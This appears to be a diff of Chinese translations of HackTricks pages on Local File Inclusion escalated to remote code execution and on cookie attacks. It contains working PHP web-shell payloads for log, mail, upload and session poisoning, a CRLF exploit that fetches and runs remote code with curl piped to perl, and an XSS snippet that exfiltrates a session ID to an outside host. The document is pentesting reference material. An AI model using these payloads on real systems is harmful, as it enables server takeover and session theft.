- 在 Java 栈中,这类文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/白名单是核心缺陷。
|
||||
|
||||
通用XML/JMF风格示例(产品架构各异 - DOCTYPE/主体包装与遍历无关):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -463,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
加固措施以防止此类漏洞:
|
||||
- 解析为规范路径并强制其为允许列出的基本目录的子目录。
|
||||
- 拒绝任何包含 `..`、绝对根或驱动器字母的路径;优先使用生成的文件名。
|
||||
- 以低权限账户运行写入程序,并将写入目录与服务根目录隔离。
|
||||
硬化可以防止此类漏洞:
|
||||
- 解析为规范路径并强制其为允许列入白名单的基础目录的子目录。
|
||||
- 拒绝任何包含 `..`、绝对根路径或驱动器字母的路径;优先使用生成的文件名。
|
||||
- 以低权限账户运行写入程序,并将写入目录与被服务的根目录隔离。
|
||||
|
||||
## 远程文件包含
|
||||
## Remote File Inclusion
|
||||
|
||||
如前所述,[**请点击此链接**](#remote-file-inclusion)。
|
||||
前面已解释, [**follow this link**](#remote-file-inclusion)。
|
||||
|
||||
### 通过 Apache/Nginx 日志文件
|
||||
|
||||
如果 Apache 或 Nginx 服务器在包含函数中**易受 LFI 攻击**,您可以尝试访问 **`/var/log/apache2/access.log` 或 `/var/log/nginx/access.log`**,在 **用户代理** 或 **GET 参数** 中设置一个 PHP shell,如 **`<?php system($_GET['c']); ?>`** 并包含该文件。
|
||||
如果 Apache 或 Nginx 服务器在 include 函数中**vulnerable to LFI**,你可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中写入类似 **`<?php system($_GET['c']); ?>`** 的 php shell,然后 include 该文件
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,**如果您使用双引号**而不是 **单引号**,双引号将被修改为字符串 "_**quote;**_",**PHP 会在此处抛出错误**,并且 **不会执行其他任何内容**。
|
||||
> 注意,**如果你使用双引号**为 shell 而不是**单引号**,双引号会被替换为字符串 "_**quote;**_",**PHP 会抛出错误**,那里的代码将**不会被执行**。
|
||||
>
|
||||
> 此外,请确保您**正确编写有效载荷**,否则每次尝试加载日志文件时 PHP 都会出错,您将没有第二次机会。
|
||||
> 另外,确保你**正确编写 payload**,否则每次尝试加载日志文件时 PHP 都会报错,你将没有第二次机会。
|
||||
|
||||
这也可以在其他日志中完成,但**请小心,**日志中的代码可能被 URL 编码,这可能会破坏 Shell。头部 **授权 "basic"** 包含 "user:password" 的 Base64 编码,并在日志中解码。PHPShell 可以插入到此头部中。\
|
||||
这也可以在其他日志中完成,但**注意,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 Base64 编码的 "user:password",并且在日志中被解码。PHPShell 可以插入到此头部中。\
|
||||
其他可能的日志路径:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -498,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### 通过电子邮件
|
||||
|
||||
**发送邮件** 到一个内部账户 (user@localhost),包含你的 PHP 负载,如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试包含用户的邮件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
|
||||
**发送邮件** 到一个内部账户 (user@localhost),邮件包含你的 PHP payload,比如 `<?php echo system($_REQUEST["cmd"]); ?>`,然后尝试包含该用户的邮件文件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### 通过 /proc/\*/fd/\*
|
||||
|
||||
1. 上传大量的 shell(例如:100)
|
||||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以暴力破解),$FD 是文件描述符(也可以暴力破解)
|
||||
1. 上传大量 shell(例如:100 个)
|
||||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可暴力枚举),$FD 是文件描述符(也可暴力枚举)
|
||||
|
||||
### 通过 /proc/self/environ
|
||||
|
||||
像日志文件一样,在 User-Agent 中发送负载,它将反映在 /proc/self/environ 文件中
|
||||
类似日志文件,将 payload 放在 User-Agent 中发送,它会反射到 /proc/self/environ 文件中
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### 通过上传
|
||||
|
||||
如果您可以上传文件,只需在其中注入 shell 负载 (例如: `<?php system($_GET['c']); ?>` )。
|
||||
如果你可以上传一个文件,只需在其中注入 shell payload (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
为了保持文件的可读性,最好将其注入到图片/doc/pdf 的元数据中。
|
||||
为了保持文件可读,最好将其注入到图片/文档/PDF 的元数据中
|
||||
|
||||
### 通过 ZIP 文件上传
|
||||
|
||||
上传一个包含压缩的 PHP shell 的 ZIP 文件并访问:
|
||||
上传一个包含已压缩 PHP shell 的 ZIP 文件并访问:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### 通过 PHP 会话
|
||||
### 通过 PHP sessions
|
||||
|
||||
检查网站是否使用 PHP 会话 (PHPSESSID)
|
||||
检查网站是否使用 PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中。
|
||||
在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -548,42 +551,45 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
```
|
||||
### 通过 ssh
|
||||
|
||||
如果 ssh 处于活动状态,请检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\<HOME>/.ssh/id_rsa**
|
||||
如果 ssh 处于激活状态,检查当前使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **通过** **vsftpd** _**日志**_
|
||||
|
||||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地文件包含(LFI)漏洞的情况下,并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
|
||||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:
|
||||
|
||||
1. 在登录过程中将 PHP 有效负载注入用户名字段。
|
||||
2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。
|
||||
1. 在登录过程中,将 PHP payload 注入到用户名字段。
|
||||
2. 注入之后,利用 LFI 从 _**/var/log/vsftpd.log**_ 获取服务器日志。
|
||||
|
||||
### 通过 php base64 过滤器(使用 base64)
|
||||
### 通过 php base64 filter(使用 base64)
|
||||
|
||||
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查:如果您提供以 ".php" 结尾的 base64,它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例:
|
||||
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略非 base64 的字符。你可以利用这一点绕过文件扩展名检查:如果你提供的 base64 以 ".php" 结尾,它会忽略 "." 并在 base64 后追加 "php"。下面是一个示例 payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### 通过 php 过滤器(不需要文件)
|
||||
### 通过 php filters(无需文件)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters 来生成任意内容** 作为输出。基本上这意味着你可以为 **include** **生成任意 php 代码**,**而无需将其写入** 文件。
|
||||
|
||||
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 以供包含 **而不需要将其写入** 文件。
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过段错误
|
||||
### 通过 segmentation fault
|
||||
|
||||
**上传** 一个文件,该文件会以 **临时** 方式存储在 `/tmp`,然后在 **同一请求** 中触发 **segmentation fault**,之后该 **临时文件不会被删除**,你就可以搜索到它。
|
||||
|
||||
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中,** 触发 **段错误**,然后 **临时文件不会被删除**,你可以搜索它。
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过 Nginx 临时文件存储
|
||||
### 通过 Nginx temp file storage
|
||||
|
||||
如果你发现 **Local File Inclusion** 且 **Nginx** 部署在 PHP 之前,你可能可以使用下面的技巧获得 **RCE**:
|
||||
|
||||
如果你发现了 **本地文件包含** 并且 **Nginx** 在 PHP 前面运行,你可能能够通过以下技术获得 RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -591,54 +597,56 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### 通过 PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
如果你发现了 **本地文件包含** 即使你 **没有会话** 并且 `session.auto_start` 是 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 将 **为你启用会话**。你可以利用这一点获得 RCE:
|
||||
如果你发现 **Local File Inclusion**,即使你 **没有 session** 且 `session.auto_start` 为 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 会 **为你启用 session**。你可以滥用这一点来获取 **RCE**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过 Windows 中的临时文件上传
|
||||
### 通过 temp file uploads in Windows
|
||||
|
||||
如果你发现 **Local File Inclusion** 且服务器在 **Windows** 上运行,你可能能获得 **RCE**:
|
||||
|
||||
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 中运行,你可能会获得 RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过 `pearcmd.php` + URL 参数
|
||||
### 通过 `pearcmd.php` + URL args
|
||||
|
||||
正如 [**在这篇文章中解释的**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 默认存在于 php docker 镜像中。此外,可以通过 URL 将参数传递给脚本,因为它表明如果 URL 参数没有 `=`,则应将其用作参数。
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 在 php docker images 中默认存在。此外,可以通过 URL 将参数传递给该脚本,因为文中指出如果 URL 参数没有 `=`,则应将其作为参数使用。另见 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 和 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)。
|
||||
|
||||
以下请求在 `/tmp/hello.php` 中创建一个文件,内容为 `<?=phpinfo()?>`:
|
||||
下面的请求会在 `/tmp/hello.php` 创建一个文件,内容为 `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
以下利用CRLF漏洞获取RCE(来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
下面滥用 CRLF 漏洞 获取 RCE (来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### 通过 phpinfo() (file_uploads = on)
|
||||
### 通过 phpinfo()(file_uploads = on)
|
||||
|
||||
如果你发现了 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 的文件,且 file_uploads = on,你可以获得 RCE:
|
||||
如果你发现一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
|
||||
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径**,但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件** 来 **绕过该检查**:
|
||||
如果你发现一个 **Local File Inclusion** 并且你 **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, 你可以尝试用这个 **Race Condition** 来 **bypass that check**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过永恒等待 + 暴力破解
|
||||
### 通过 eternal waiting + bruteforce
|
||||
|
||||
如果你可以利用 LFI **上传临时文件** 并使服务器 **挂起** PHP 执行,你可以 **在数小时内暴力破解文件名** 来找到临时文件:
|
||||
如果你可以滥用 LFI 来 **upload temporary files** 并使 **server** **hang** PHP 执行,你就可以在数小时内 **brute force filenames during hours** 来找到临时文件:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -646,19 +654,22 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### 导致致命错误
|
||||
|
||||
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。
|
||||
如果你包含以下任一文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以抛出该错误)。
|
||||
|
||||
**我不知道这有什么用,但可能有用。**\
|
||||
_即使你导致了 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
|
||||
**我不知道这有多大用处,但可能有用。**\
|
||||
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – 从支持票到零日 (FreeFlow Core 路径遍历 → 任意写入 → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -4,35 +4,35 @@
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
Cookies 具有几个属性,控制它们在用户浏览器中的行为。以下是这些属性的概述,采用更被动的语气:
|
||||
Cookies 带有多个在用户浏览器中控制其行为的属性。下面以较为被动的语气对这些属性做一简要说明:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定义了在删除 cookie 之前的秒数。**选择 `Max-age`,因为它反映了更现代的做法。**
|
||||
cookie 的过期时间由 `Expires` 属性决定。相反,`Max-age` 属性定义了在多少秒后 cookie 会被删除。**建议使用 `Max-age`,因为它更符合现代实践。**
|
||||
|
||||
### Domain
|
||||
|
||||
接收 cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 cookie 的主机,不包括其子域。然而,当 `Domain` 属性被显式设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 cookie 的场景。例如,设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 cookie。
|
||||
接收 cookie 的主机由 `Domain` 属性指定。默认情况下,这被设置为发出 cookie 的主机(不包括其子域)。但是,当显式设置 `Domain` 属性时,它也包含子域。指定 `Domain` 属性会降低限制性,适用于需要在子域之间共享 cookie 的场景。例如,设置 `Domain=mozilla.org` 会使 cookie 可以在其子域(如 `developer.mozilla.org`)上访问。
|
||||
|
||||
### Path
|
||||
|
||||
`Path` 属性指示必须在请求的 URL 中存在的特定 URL 路径,以便发送 `Cookie` 头。此属性将 `/` 字符视为目录分隔符,允许在子目录中匹配。
|
||||
`Path` 属性表示请求的 URL 必须包含的特定路径,才会发送 `Cookie` 头。该属性将 `/` 字符视为目录分隔符,因此也允许在子目录中匹配。
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
当两个 cookie 具有相同的名称时,选择发送的 cookie 基于:
|
||||
当两个 cookie 具有相同名称时,选择发送的 cookie 基于:
|
||||
|
||||
- 与请求的 URL 中最长路径匹配的 cookie。
|
||||
- 匹配请求 URL 中最长路径的 cookie。
|
||||
- 如果路径相同,则选择最近设置的 cookie。
|
||||
|
||||
### SameSite
|
||||
|
||||
- `SameSite` 属性决定是否在来自第三方域的请求中发送 cookie。它提供三种设置:
|
||||
- **Strict**:限制 cookie 在第三方请求中发送。
|
||||
- **Lax**:允许 cookie 与由第三方网站发起的 GET 请求一起发送。
|
||||
- **None**:允许 cookie 从任何第三方域发送。
|
||||
- `SameSite` 属性决定了是否在来自第三方域的请求上发送 cookie。它提供三种设置:
|
||||
- **Strict**:禁止在第三方请求中发送 cookie。
|
||||
- **Lax**:允许在第三方网站发起的 GET 请求中发送 cookie。
|
||||
- **None**:允许从任何第三方域发送 cookie。
|
||||
|
||||
请记住,在配置 cookie 时,理解这些属性可以帮助确保它们在不同场景中按预期行为。
|
||||
在配置 cookie 时,理解这些属性可以帮助确保它们在不同场景下按预期工作。
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
@ -44,76 +44,85 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
表格来自 [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) 并稍作修改。\
|
||||
具有 _**SameSite**_ 属性的 cookie 将 **减轻 CSRF 攻击**,其中需要登录会话。
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
带有 _**SameSite**_ 属性的 cookie 将**减轻需要登录会话的 CSRF 攻击**。
|
||||
|
||||
**\*请注意,从 Chrome80(2019年2月)开始,未设置 cookie samesite 属性的 cookie 的默认行为将是 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,临时情况下,在应用此更改后,Chrome 中 **没有 SameSite** **策略的 cookie 将在 **前 2 分钟内被 **视为 None**,然后在顶级跨站点 POST 请求中视为 Lax。**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,在应用此更改后,临时情况下 **Chrome** 对于不带 SameSite 策略的 **cookies** 会在**前两分钟内被视为 None,然后在顶层跨站 POST 请求中被视为 Lax**。
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
这避免了 **客户端** 访问 cookie(例如通过 **Javascript**:`document.cookie`)
|
||||
该属性阻止 **客户端** 访问 cookie(例如通过 **Javascript**:`document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
- 如果页面 **作为请求的响应发送 cookie**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 cookie**(请查看 [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例)。
|
||||
- 这可以通过 **TRACE** **HTTP** 请求绕过,因为服务器的响应将反映发送的 cookie(如果此 HTTP 方法可用)。此技术称为 **Cross-Site Tracking**。
|
||||
- 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在特定软件中发现了一些绕过方法,例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`。
|
||||
- 另一种方法是利用浏览器的零日漏洞。
|
||||
- 通过执行 Cookie Jar 溢出攻击,可以 **覆盖 HttpOnly cookies**:
|
||||
- 如果页面将 cookies 作为请求的响应发送(例如在 **PHPinfo** 页面),可以滥用 XSS 向该页面发送请求并从响应中**窃取 cookie**(示例见 [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/))。
|
||||
- 这可以通过 **TRACE** **HTTP** 请求被绕过,因为服务器的响应(如果允许该 HTTP 方法)会反射发送的 cookies。该技术称为 **Cross-Site Tracking**。
|
||||
- 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在某些特定软件中仍发现了绕过方法,例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`。
|
||||
- 另一种方法是利用浏览器的 zero/day 漏洞。
|
||||
- 可以通过执行 Cookie Jar overflow 攻击来**覆盖 HttpOnly cookies**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- 可以使用 [**Cookie Smuggling**](#cookie-smuggling) 攻击来外泄这些 cookie。
|
||||
|
||||
- 可以使用 [**Cookie Smuggling**](#cookie-smuggling) 攻击来外传这些 cookies
|
||||
- 如果任何服务器端端点在 HTTP 响应中回显原始 session ID(例如,在 HTML 注释或调试块中),则可以通过使用 XSS gadget 获取该端点、用正则提取 secret 并外传来绕过 HttpOnly。示例 XSS payload 模式:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
请求将 **仅** 在通过安全通道(通常是 **HTTPS**)传输的 HTTP 请求中发送 cookie。
|
||||
请求只有在通过安全通道(通常为 **HTTPS**)传输时,才会在 HTTP 请求中**发送**该 cookie。
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
以 `__Secure-` 开头的 cookie 必须与通过 HTTPS 保护的页面的 `secure` 标志一起设置。
|
||||
以 `__Secure-` 为前缀的 cookies 要求在 HTTPS 保护的页面上与 `secure` 标志一并设置。
|
||||
|
||||
对于以 `__Host-` 开头的 cookie,必须满足几个条件:
|
||||
对于以 `__Host-` 为前缀的 cookies,需要满足以下条件:
|
||||
|
||||
- 必须设置 `secure` 标志。
|
||||
- 必须来自通过 HTTPS 保护的页面。
|
||||
- 禁止指定域,防止其传输到子域。
|
||||
- 这些 cookie 的路径必须设置为 `/`。
|
||||
- 必须来源于通过 HTTPS 保护的页面。
|
||||
- 禁止指定 domain,从而防止它们被发送到子域。
|
||||
- 这些 cookies 的 path 必须设为 `/`。
|
||||
|
||||
重要的是要注意,以 `__Host-` 开头的 cookie 不允许发送到超级域或子域。此限制有助于隔离应用程序 cookie。因此,使用 `__Host-` 前缀为所有应用程序 cookie 被视为增强安全性和隔离的良好做法。
|
||||
需要注意的是,以 `__Host-` 为前缀的 cookies 不允许被发送到 superdomains 或子域。此限制有助于隔离应用的 cookies。因此,为所有应用 cookie 使用 `__Host-` 前缀可视为增强安全性和隔离性的良好做法。
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
因此,`__Host-` 前缀 cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing attacks**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了可以通过欺骗解析器从子域设置 \_\_HOST- 前缀的 cookie,例如,在开头或结尾添加 "=":
|
||||
因此,`__Host-` 前缀的 cookies 的一个保护措施就是防止它们被子域覆盖。例如可以防止 [**Cookie Tossing attacks**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))中展示了可以通过欺骗解析器从子域设置 \_\_HOST- 前缀的 cookies,例如在开头或开头和结尾添加 "=" ……:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
或者在 PHP 中,可以在 cookie 名称的开头添加 **其他字符**,这些字符将被 **替换为下划线** 字符,从而允许覆盖 `__HOST-` cookies:
|
||||
或者在 PHP 中可以在 cookie 名称开头添加其他字符,这些字符会被替换为下划线,从而允许覆盖 `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
如果自定义 cookie 包含敏感数据,请检查它(特别是如果您正在进行 CTF),因为它可能存在漏洞。
|
||||
如果自定义 cookie 包含敏感数据,请检查它(特别是在做 CTF 时),因为它可能存在漏洞。
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
嵌入 cookie 的敏感数据应始终受到审查。以 Base64 或类似格式编码的 cookie 通常可以被解码。这种漏洞允许攻击者更改 cookie 的内容,并通过将其修改后的数据重新编码回 cookie 来冒充其他用户。
|
||||
应始终审查嵌入在 cookies 中的敏感数据。以 Base64 或类似格式编码的 cookies 通常可以被解码。该漏洞允许攻击者修改 cookie 的内容并通过将修改后的数据重新编码回 cookie 来冒充其他用户。
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
此攻击涉及窃取用户的 cookie,以获得对其在应用程序中的帐户的未经授权访问。通过使用被盗的 cookie,攻击者可以冒充合法用户。
|
||||
该攻击涉及窃取用户的 cookie 以获取对其在应用中帐户的未经授权访问。利用被窃取的 cookie,攻击者可以冒充合法用户。
|
||||
|
||||
### Session Fixation
|
||||
|
||||
